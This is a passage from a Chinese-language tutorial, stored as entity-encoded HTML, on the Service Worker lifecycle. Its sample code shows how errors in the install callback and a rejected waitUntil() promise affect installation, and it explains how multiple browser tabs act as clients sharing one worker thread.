&#x4E00;&#x4E9B;&#x53EA;&#x6709;&#x4E0A;&#x7EBF;&#x624D;&#x4F1A;&#x6539;&#x53D8;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x4F1A;&#x5728; install &#x9636;&#x6BB5;&#x8FDB;&#x884C;&#x7F13;&#x5B58;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x66F4;&#x5FEB;&#x7684;&#x4F53;&#x9A8C;&#x5230;&#x7F13;&#x5B58;&#x52A0;&#x901F;&#x7684;&#x597D;&#x5904;&#x3002;&#x5982;&#x679C;&#x7F13;&#x5B58;&#x6210;&#x529F;&#x4E86;&#x624D;&#x7B97;&#x662F; Service Worker &#x5B89;&#x88C5;&#x5B8C;&#x6210;&#xFF0C;&#x5982;&#x679C;&#x8FD9;&#x4E9B;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x5931;&#x8D25;&#x4E86;&#xFF0C;&#x90A3; Service Worker &#x5B89;&#x88C5;&#x5C31;&#x4F1A;&#x5931;&#x8D25;&#xFF0C;&#x751F;&#x547D;&#x5468;&#x671F;&#x7EC8;&#x6B62;&#x3002;</p>\n<p>&#x4EC0;&#x4E48;&#x60C5;&#x51B5;&#x4E0B;&#x624D;&#x7B97;&#x662F; Service Worker &#x5B89;&#x88C5;&#x5931;&#x8D25;&#x5462;&#xFF1F;&#x5982;&#x679C;&#x5728; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x7684; install &#x56DE;&#x8C03;&#x4E2D;&#x5199;&#x4E00;&#x6BB5;&#x9519;&#x8BEF;&#x903B;&#x8F91;&#x4F1A;&#x4E0D;&#x4F1A;&#x5BFC;&#x81F4;&#x5B89;&#x88C5;&#x5931;&#x8D25;&#x5462;&#xFF1F;&#x63A5;&#x4E0B;&#x6765;&#x4FEE;&#x6539;&#x4E00;&#x4E0B; serviceWorkerLifecycleDemo &#x7684; <code>sw.js</code>&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// sw.js</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6CE8;&#x518C;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x4E00;&#x6BB5;&#x4E00;&#x5B9A;&#x4F1A;&#x62A5;&#x9519;&#x7684;&#x4EE3;&#x7801;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">.</span>undefined<span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x5B89;&#x88C5;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;activate&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6FC0;&#x6D3B;&#x56DE;&#x8C03;&#x7684;&#x903B;&#x8F91;&#x5904;&#x7406;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6FC0;&#x6D3B;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: &apos;</span> <span class=\"token operator\">+</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728; install &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x4E2D;&#xFF0C;&#x63D2;&#x5165;&#x4E86;&#x4E00;&#x6BB5;&#x4E00;&#x5B9A;&#x4F1A;&#x62A5;&#x9519;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x770B;&#x770B;&#x662F;&#x4E0D;&#x662F;&#x4F1A;&#x5BFC;&#x81F4; Service Worker &#x7684;&#x5B89;&#x88C5;&#x5931;&#x8D25;&#x5462;&#xFF1F;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x524D;&#x9762;&#x4ECB;&#x7ECD;&#x8FC7;&#xFF0C;&#x7531;&#x4E8E;&#x4FEE;&#x6539;&#x4E86; sw.js&#xFF0C;&#x6240;&#x4EE5;&#x4F1A;&#x89E6;&#x53D1; Service Worker &#x66F4;&#x65B0;&#x673A;&#x5236;&#xFF0C;&#x800C;&#x8FD9;&#x6B21;&#x6D4B;&#x8BD5;&#x662F;&#x7EAF;&#x7CB9;&#x4ECB;&#x7ECD;&#x9996;&#x6B21;&#x5B89;&#x88C5;&#x5931;&#x8D25;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x4E3A;&#x4FDD;&#x8BC1;&#x5B9E;&#x9A8C;&#x7684;&#x7EAF;&#x7CB9;&#x6027;&#xFF0C;&#x9700;&#x8981;&#x5728; Chrome DevTools &#x4E2D;&#x5C06;&#x5B58;&#x5728;&#x7684; Service Worker &#x624B;&#x52A8; unregister &#x6389;&#xFF0C;&#x5728;&#x540E;&#x9762;&#x4ECB;&#x7ECD; Service Worker &#x66F4;&#x65B0;&#x673A;&#x5236;&#x7684;&#x65F6;&#x5019;&#x4F1A;&#x8BE6;&#x7EC6;&#x89E3;&#x91CA;&#x5176;&#x539F;&#x7406;&#x3002;</p>\n</blockquote>\n<p>&#x793A;&#x4F8B;&#x8FD0;&#x884C;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/service_worker_error_in_install.png\" alt=\"Service Worker install &#x56DE;&#x8C03;&#x4E2D;&#x62A5;&#x9519;&#x60C5;&#x51B5;\"></p>\n<p>&#x4ECE;&#x8FD0;&#x884C;&#x7ED3;&#x679C;&#x770B;&#xFF0C;&#x5F53; install &#x56DE;&#x8C03;&#x4E2D;&#x7684;&#x903B;&#x8F91;&#x62A5;&#x9519;&#x4E86;&#xFF0C;&#x5E76;&#x4E0D;&#x4F1A;&#x5F71;&#x54CD; Service Worker &#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#x7EE7;&#x7EED;&#x5411;&#x540E;&#x63A8;&#x8FDB;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD0;&#x884C;&#x7ED3;&#x679C;&#x8FD8;&#x662F;&#x6709; <code>&#x6FC0;&#x6D3B;&#x6210;&#x529F;</code>&#xFF0C;&#x751A;&#x81F3;&#x7B2C;&#x4E8C;&#x6B21;&#x5237;&#x65B0;&#x53D1;&#x73B0;&#x8FD8;&#x80FD;&#x6B63;&#x5E38;&#x62E6;&#x622A;&#x8BF7;&#x6C42;&#x3002;</p>\n<p>&#x6240;&#x4EE5;&#x8BF4;&#x5E76;&#x4E0D;&#x662F; intall &#x56DE;&#x8C03;&#x4E2D;&#x51FA;&#x9519;&#x4E86;&#x5C31;&#x4F1A;&#x5BFC;&#x81F4;&#x751F;&#x547D;&#x5468;&#x671F;&#x4E2D;&#x65AD;&#x3002;&#x7531;&#x4E8E; Service Worker &#x751F;&#x547D;&#x5468;&#x671F;&#x5F02;&#x6B65;&#x89E6;&#x53D1;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x5E76;&#x4E0D;&#x662F;&#x50CF;&#x540C;&#x6B65;&#x6267;&#x884C;&#x6A21;&#x5F0F;&#xFF0C;&#x5982;&#x679C;&#x62A5;&#x9519;&#x5C31;&#x4F1A;&#x4E2D;&#x65AD;&#x6267;&#x884C;&#x3002;Service Worker &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x7684;&#x53C2;&#x6570;&#x662F;&#x4E00;&#x4E2A; ExtendableEvent &#x5BF9;&#x8C61;&#xFF0C;&#x5728; Service Worker &#x4E2D;&#x9700;&#x8981;&#x4F7F;&#x7528; <code>ExtendableEvent.waitUntil()</code> &#x65B9;&#x6CD5;&#x6765;&#x4FDD;&#x8BC1;&#x751F;&#x547D;&#x5468;&#x671F;&#x7684;&#x6267;&#x884C;&#x987A;&#x5E8F;&#x3002;&#x8BE5;&#x65B9;&#x6CD5;&#x63A5;&#x6536;&#x4E00;&#x4E2A; Promise &#x53C2;&#x6570;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x901A;&#x5E38;&#x4F1A;&#x5C06;&#x5B89;&#x88C5;&#x7684;&#x56DE;&#x8C03;&#x6267;&#x884C;&#x903B;&#x8F91;&#xFF08;&#x5982;&#x7F13;&#x5B58;&#x7684;&#x5199;&#x5165;&#xFF09;&#x5C01;&#x88C5;&#x5728;&#x4E00;&#x4E2A; Promise &#x91CC;&#xFF0C;&#x5982;&#x679C;&#x64CD;&#x4F5C;&#x62A5;&#x9519;&#x5E94;&#x8BE5;&#x901A;&#x8FC7; Promise &#x6765; reject &#x9519;&#x8BEF;&#xFF0C;&#x8FD9;&#x6837; Service Worker &#x5C31;&#x77E5;&#x9053;&#x4E86;&#x5B89;&#x88C5;&#x5931;&#x8D25;&#xFF0C;&#x7136;&#x540E; Service Worker &#x5C31;&#x80FD;&#x4E2D;&#x65AD;&#x751F;&#x547D;&#x5468;&#x671F;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x4FEE;&#x6539; <code>sw.js</code> &#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// sw.js</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6CE8;&#x518C;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x5F15;&#x5165; event.waitUntil &#x65B9;&#x6CD5;</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6A21;&#x62DF; promise &#x8FD4;&#x56DE;&#x9519;&#x8BEF;&#x7ED3;&#x679C;&#x7684;&#x60C5;&#x51B5;</span>\n    <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5B89;&#x88C5;&#x51FA;&#x9519;&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// resolve(&apos;&#x5B89;&#x88C5;&#x6210;&#x529F;&apos;)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;activate&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6FC0;&#x6D3B;&#x56DE;&#x8C03;&#x7684;&#x903B;&#x8F91;&#x5904;&#x7406;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6FC0;&#x6D3B;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;service worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: &apos;</span> <span class=\"token operator\">+</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x65F6;&#x5019;&#x8FD0;&#x884C;&#x5237;&#x65B0;&#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#x53D1;&#x73B0; Service Worker &#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#x4E2D;&#x65AD;&#xFF0C;&#x800C;&#x4E14;&#x6CA1;&#x6709;&#x6267;&#x884C; activate &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x3002;&#x5F53;&#x5C06; <code>reject(&apos;&#x5B89;&#x88C5;&#x5931;&#x8D25;&apos;)</code> &#x6539;&#x6210; <code>resolve(&apos;&#x5B89;&#x88C5;&#x6210;&#x529F;&apos;)</code> &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F1A;&#x53D1;&#x73B0; Service Worker &#x80FD;&#x591F;&#x987A;&#x5229;&#x6FC0;&#x6D3B;&#x3002;&#x4E8B;&#x5B9E;&#x4E0A;&#xFF0C;<code>ExtendableEvent.waitUntil()</code> &#x65B9;&#x6CD5;&#x6269;&#x5C55;&#x4E86;&#x4E8B;&#x4EF6;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#x3002;&#x5728;&#x670D;&#x52A1;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x4E2D;&#xFF0C;&#x5EF6;&#x957F;&#x4E8B;&#x4EF6;&#x7684;&#x5BFF;&#x547D;&#x80FD;&#x591F;&#x963B;&#x6B62;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x4E8B;&#x4EF6;&#x4E2D;&#x7684;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x5B8C;&#x6210;&#x4E4B;&#x524D;&#x7EC8;&#x6B62; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x3002;</p>\n<p>&#x5728; install &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x88AB;&#x8C03;&#x7528;&#x65F6;&#xFF0C;&#x5B83;&#x628A;&#x5373;&#x5C06;&#x88AB;&#x6FC0;&#x6D3B;&#x7684; worker &#x7EBF;&#x7A0B;&#x72B6;&#x6001;&#x5EF6;&#x8FDF;&#x4E3A; installing &#x72B6;&#x6001;&#xFF0C;&#x76F4;&#x5230;&#x4F20;&#x9012;&#x7684; Promise &#x88AB;&#x6210;&#x529F;&#x5730; resolve&#x3002;&#x8FD9;&#x4E3B;&#x8981;&#x7528;&#x4E8E;&#x786E;&#x4FDD;&#xFF1A;Service Worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x5728;&#x6240;&#x6709;&#x4F9D;&#x8D56;&#x7684;&#x6838;&#x5FC3; cache &#x88AB;&#x7F13;&#x5B58;&#x4E4B;&#x524D;&#x90FD;&#x4E0D;&#x4F1A;&#x88AB;&#x5B89;&#x88C5;&#x3002;</p>\n<p>&#x4E0D;&#x53EA;&#x662F; install &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x53EF;&#x4EE5;&#x8C03;&#x7528;&#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x5982;&#x679C;&#x5728; activate &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x88AB;&#x8C03;&#x7528;&#x65F6;&#xFF0C;&#x5B83;&#x628A;&#x5373;&#x5C06;&#x88AB;&#x6FC0;&#x6D3B;&#x7684; worker &#x7EBF;&#x7A0B;&#x72B6;&#x6001;&#x5EF6;&#x8FDF;&#x4E3A; activating &#x72B6;&#x6001;&#xFF0C;&#x76F4;&#x5230;&#x4F20;&#x9012;&#x7684; Promise &#x88AB;&#x6210;&#x529F;&#x5730; resolve&#x3002;&#x8FD9;&#x4E3B;&#x8981;&#x7528;&#x4E8E;&#x786E;&#x4FDD;&#xFF1A;&#x4EFB;&#x4F55;&#x529F;&#x80FD;&#x4E8B;&#x4EF6;&#x4E0D;&#x4F1A;&#x88AB;&#x5206;&#x6D3E;&#x5230; ServiceWorkerGlobalScope &#x5BF9;&#x8C61;&#xFF0C;&#x76F4;&#x5230;&#x5B83;&#x5347;&#x7EA7;&#x6570;&#x636E;&#x5E93;&#x6A21;&#x5F0F;&#x5E76;&#x5220;&#x9664;&#x8FC7;&#x671F;&#x7684;&#x7F13;&#x5B58;&#x6761;&#x76EE;&#x3002;</p>\n<p>&#x5F53; <code>ExtendableEvent.waitUntil()</code> &#x8FD0;&#x884C;&#x65F6;&#xFF0C;&#x5982;&#x679C; Promise &#x662F; resolved&#xFF0C;&#x4EFB;&#x4F55;&#x4E8B;&#x60C5;&#x90FD;&#x4E0D;&#x4F1A;&#x53D1;&#x751F;&#xFF1B;&#x5982;&#x679C; Promise &#x662F; rejected&#xFF0C;installing &#x6216;&#x8005; activating &#x7684;&#x72B6;&#x6001;&#x4F1A;&#x88AB;&#x8BBE;&#x7F6E;&#x4E3A; redundant&#x3002;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x5982;&#x679C;&#x5728; ExtendableEvent &#x5904;&#x7406;&#x7A0B;&#x5E8F;&#x4E4B;&#x5916;&#x8C03;&#x7528; <code>waitUntil()</code>&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x629B;&#x51FA;&#x4E00;&#x4E2A;InvalidStateError &#x9519;&#x8BEF;&#x3002;\n&#x5982;&#x679C;&#x591A;&#x4E2A;&#x8C03;&#x7528;&#x5C06;&#x4F1A;&#x5806;&#x53E0;&#xFF0C;&#x6240;&#x4EA7;&#x751F;&#x7684;&#x6240;&#x6709; promise &#x5C06;&#x88AB;&#x6DFB;&#x52A0;&#x5230;<strong>&#x5EF6;&#x957F;&#x751F;&#x547D;&#x5468;&#x671F;&#x7684; promise</strong> &#x7B49;&#x5F85;&#x6267;&#x884C;&#x5B8C;&#x6210;&#x3002;</p>\n</blockquote>\n<h2 id=\"&#x7EC8;&#x7AEF;\"><a name=\"&#x7EC8;&#x7AEF;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7EC8;&#x7AEF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7EC8;&#x7AEF;\" class=\"plugin-anchor\" href=\"#&#x7EC8;&#x7AEF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7EC8;&#x7AEF;</h2>\n<p>&#x5728;&#x8FD0;&#x884C; serviceWorkerLifecycleDemo &#x793A;&#x4F8B;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x63D0;&#x5230;&#x4E86;&#x9700;&#x8981;&#x5173;&#x95ED;&#x6240;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x518D;&#x6253;&#x5F00;&#x6D4B;&#x8BD5;&#x9875;&#x9762;&#xFF0C;&#x5176;&#x4E2D;&#x4E3B;&#x8981;&#x7684;&#x539F;&#x56E0;&#x662F;&#x6D89;&#x53CA;&#x5230; Service Worker &#x7684;&#x7EC8;&#x7AEF;&#xFF08;clients&#xFF09;&#x7684;&#x6982;&#x5FF5;&#x3002;</p>\n<p>&#x6700;&#x76F4;&#x63A5;&#x7684;&#x89E3;&#x91CA;&#x662F;&#x6BCF;&#x4E00;&#x4E2A;&#x6253;&#x5F00; <code>http://127.0.0.1:8000</code> &#x9875;&#x9762;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x90FD;&#x662F;&#x4E00;&#x4E2A;&#x7EC8;&#x7AEF;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/service_worker_clients.png\" alt=\"Service Worker &#x7EC8;&#x7AEF;\"></p>\n<p>&#x5728;&#x624B;&#x673A;&#x7AEF;&#x6216;&#x8005; PC &#x7AEF;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x6BCF;&#x65B0;&#x6253;&#x5F00;&#x4E00;&#x4E2A;&#x5DF2;&#x7ECF;&#x6FC0;&#x6D3B;&#x4E86; Service Worker &#x7684;&#x9875;&#x9762;&#xFF0C;&#x90A3; Service Worker &#x6240;&#x63A7;&#x5236;&#x7684;&#x7EC8;&#x7AEF;&#x5C31;&#x65B0;&#x589E;&#x4E00;&#x4E2A;&#xFF0C;&#x6BCF;&#x5173;&#x95ED;&#x4E00;&#x4E2A;&#x5305;&#x542B;&#x5DF2;&#x7ECF;&#x6FC0;&#x6D3B;&#x4E86; Service Worker &#x9875;&#x9762;&#x7684;&#x65F6;&#x5019;&#xFF08;&#x4E0D;&#x5305;&#x542B;&#x624B;&#x673A;&#x7AEF;&#x6D4F;&#x89C8;&#x5668;&#x8FDB;&#x5165;&#x540E;&#x53F0;&#x8FD0;&#x884C;&#x7684;&#x60C5;&#x51B5;&#xFF09;&#xFF0C;&#x5219; Service Worker &#x6240;&#x63A7;&#x5236;&#x7684;&#x7EC8;&#x7AEF;&#x5C31;&#x51CF;&#x5C11;&#x4E00;&#x4E2A;&#xFF0C;&#x5982;&#x4E0A;&#x56FE;&#x6253;&#x5F00;&#x4E86;&#x4E09;&#x4E2A;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#xFF0C;&#x5219;&#x5F53;&#x524D; Service Worker &#x63A7;&#x5236;&#x4E86;&#x4E09;&#x4E2A;&#x7EC8;&#x7AEF;&#xFF0C;&#x901A;&#x8FC7; Chrome &#x6D4F;&#x89C8;&#x5668; Devtools &#x7684; <code>Applications -&gt; ServiceWorker</code> &#x6807;&#x7B7E;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A; Service Worker &#x63A7;&#x5236;&#x7684;&#x4E09;&#x4E2A;&#x7EC8;&#x7AEF;&#x3002;</p>\n<p><img src=\"img/service_worker_clients_list.png\" alt=\"Service Worker &#x7EC8;&#x7AEF;&#x5217;&#x8868;\"></p>\n<p>&#x5F53;&#x5237;&#x65B0;&#x5176;&#x4E2D;&#x4E00;&#x4E2A;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F1A;&#x53D1;&#x73B0;&#x4E00;&#x4E2A;&#x5947;&#x602A;&#x7684;&#x73B0;&#x8C61;&#xFF0C;&#x5F53;&#x524D;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x7684;&#x63A7;&#x5236;&#x53F0;&#x6253;&#x5370;&#x4E86;&#x4E00;&#x6761;&#x4FE1;&#x606F;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token function\">service</span> worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: http://127.0.0.1:8000/imgs/dog.jpg\n</code></pre>\n<p>&#x800C;&#x5E76;&#x6CA1;&#x6709;&#x5BF9;&#x5176;&#x4ED6;&#x7684;&#x4E24;&#x4E2A;&#x6D4F;&#x89C8;&#x5668;&#x6807;&#x7B7E;&#x8FDB;&#x884C;&#x5237;&#x65B0;&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x4EEC;&#x7684;&#x63A7;&#x5236;&#x53F0;&#x4E5F;&#x51FA;&#x73B0;&#x4E86;&#x6253;&#x5370;&#x4FE1;&#x606F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token function\">service</span> worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: http://127.0.0.1:8000/\n<span class=\"token function\">service</span> worker &#x6293;&#x53D6;&#x8BF7;&#x6C42;&#x6210;&#x529F;: http://127.0.0.1:8000/imgs/dog.jpg\n</code></pre>\n<p>&#x8FD9;&#x4E3B;&#x8981;&#x662F;&#x56E0;&#x4E3A;&#xFF0C;&#x6240;&#x6709;&#x7684;&#x7EC8;&#x7AEF;&#x5171;&#x7528;&#x4E00;&#x4E2A; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x5F53;&#x5728; worker &#x7EBF;&#x7A0B;&#x4E2D;&#x6267;&#x884C; <code>console.log()</code> &#x65B9;&#x6CD5;&#x6253;&#x5370;&#x5185;&#x5BB9;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F1A;&#x4F5C;&#x7528;&#x5230;&#x6240;&#x6709;&#x7684;&#x7EC8;&#x7AEF;&#xFF0C;worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x548C;&#x7EC8;&#x7AEF;&#x7684;&#x5173;&#x7CFB;&#x5982;&#x4E0B;&#x56FE; 4-12 &#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/service_worker_with_client.png\" alt=\"Service Worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x548C;&#x7EC8;&#x7AEF;&#x7684;&#x5173;&#x7CFB;\"></p>\n<p><code>console.log</code> &#x662F;&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B;&#x7684;&#x4E00;&#x79CD;&#x7279;&#x6B8A;&#x7684; I/O &#x64CD;&#x4F5C;&#xFF0C;&#x5E76;&#x4E0D;&#x662F;&#x5E38;&#x89C4;&#x64CD;&#x4F5C;&#x3002;&#x901A;&#x5E38;&#x5F00;&#x53D1;&#x8005;&#x4E0D;&#x4F1A;&#x8FD9;&#x6837;&#x6765;&#x5E94;&#x7528;&#x8FD9;&#x79CD;&#x7EC8;&#x7AEF;&#x673A;&#x5236;&#xFF0C;&#x4E00;&#x822C;&#x800C;&#x662F;&#x501F;&#x52A9; postMessage &#x673A;&#x5236;&#x6765;&#x901A;&#x8FC7; worker &#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#x63A7;&#x5236;&#x7EC8;&#x7AEF;&#xFF0C;worker &#x7EBF;&#x7A0B;&#x5728;&#x67D0;&#x4E2A;&#x751F;&#x547D;&#x5468;&#x671F;&#x56DE;&#x8C03; postMessage &#x7ED9;&#x5404;&#x4E2A;&#x7EC8;&#x7AEF;&#xFF0C;&#x7EC8;&#x7AEF;&#x9884;&#x5148;&#x7ED1;&#x5B9A; onmessage &#x4E8B;&#x4EF6;&#xFF0C;&#x56DE;&#x8C03;&#x5904;&#x7406; worker &#x7EBF;&#x7A0B;&#x53D1;&#x9001;&#x8FC7;&#x6765;&#x7684;&#x6307;&#x4EE4;&#xFF0C;&#x53EF;&#x4EE5;&#x505A;&#x4E00;&#x4E9B;&#x540E;&#x53F0;&#x7EDF;&#x8BA1;&#x7684;&#x76F8;&#x5173;&#x5DE5;&#x4F5C;&#xFF0C;&#x751A;&#x81F3;&#x53EF;&#x4EE5;&#x7528;&#x8FD9;&#x79CD;&#x673A;&#x5236;&#x5728; Service Worker &#x7EBF;&#x7A0B;&#x4E2D;&#xFF0C;&#x96C6;&#x4E2D;&#x5BF9;&#x6240;&#x6709;&#x7EC8;&#x7AEF;&#x7684; UI &#x8FDB;&#x884C;&#x7EDF;&#x4E00;&#x5904;&#x7406;&#x3002;</p>\n<h3 id=\"clientsclaim-&#x65B9;&#x6CD5;\"><a name=\"clientsclaim-&#x65B9;&#x6CD5;\" class=\"anchor-navigation-ex-anchor\" href=\"#clientsclaim-&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"clientsclaim-&#x65B9;&#x6CD5;\" class=\"plugin-anchor\" href=\"#clientsclaim-&#x65B9;&#x6CD5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>clients.claim() &#x65B9;&#x6CD5;</h3>\n<p>&#x5982;&#x679C;&#x4F7F;&#x7528;&#x4E86; skipWaiting &#x7684;&#x65B9;&#x5F0F;&#x8DF3;&#x8FC7; waiting 